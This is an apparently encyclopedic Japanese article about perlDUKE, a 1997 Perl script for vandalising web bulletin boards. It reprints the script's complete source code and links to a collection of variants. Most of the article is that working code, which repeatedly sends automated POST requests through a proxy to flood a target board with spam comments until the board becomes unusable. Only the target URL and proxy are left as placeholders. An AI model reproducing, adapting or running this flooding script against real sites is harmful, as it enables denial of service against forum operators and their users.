perlDUKEとはインターネット上で使われた世界初ともいえる掲示板荒らし用のスクリプトである。
「ゲスッ」と呼ばれる荒らしの一員であるアリス・リデル氏によって製作された。
掲示板のコメント欄にこのスクリプトを用いることによって、コメントを連投し、掲示板を使えなくしてしまうといった感じである。
様々な派生形、改良型が存在しており、インターネット黎明期には猛威を振るった。
perlDUKEのソースコードの一例
以下がperlDUKEの一例である
#! /usr/local/bin/perl
# The web-board destroyer,
# PerlDUKE Ver 0.1
#
# (C) Alice P Liddell, 1997.12
#
eval 'use Socket';
# Attack frequency
$freq = 300;
# Target board URL
$target = 'target url';
# Proxy server's URI
$proxy = 'proxy server';
# Proxy server's port
$port = 'blank';
# Attack intervals (per/sec)
$interval = '1';
# Attack value..
$name = 'ゲスッ帝国華撃団';
$email = 'guess@teikoku.kageki.dan';
$subject = 'ゲスッ帝国参上！';
$comment = '無力な一般市民ですが圧倒的多数です。';
$passwd = 'guess';
# end
$sockaddr
= 'S n a4 x8';
($name,$aliases,$proto)
= getprotobyname('tcp');
($name,$aliases,$type,$len,$thataddr)
= gethostbyname($proxy);
$that
= pack($sockaddr, &AF_INET, $port, $thataddr);
for($n = 0;$n < $freq; $n++){
sleep $interval;
# For Mi*ibbs
$post=
'action=regist&name='.$name.'&mail='.$email.
'&subject='.$subject.'&value='.$comment.
'&pwd='.$passwd;
$length=length($post);
socket(S,&AF_INET,&SOCK_STREAM,$proto)|| next;
connect(S,$that)|| next;
select(S); $|=1; select(STDOUT);
print S <<"_POST_";
POST $target HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, */*
Referer: $target
Accept-Language: jp
Content-Type: application/x-www-form-urlencoded
User-Agent: Gozilla/1997 <plaintext>
Host: $proxy
Content-Length: $length
Proxy-Connection:
Pragma: No-Cache
$post
_POST_
close(S);
}
print "Content-type: text/html\n\n";
print "<html><body bgcolor=black text=red> <h１>Seibai complete!</h１></body></html>\n";
exit;
リンク集
アリス・リデル https://museum.scenecritique.com/categories/crackers/alice/aliceliddell.html
perlDUKEソースコード集 http://perlscripts.blog.fc2.com/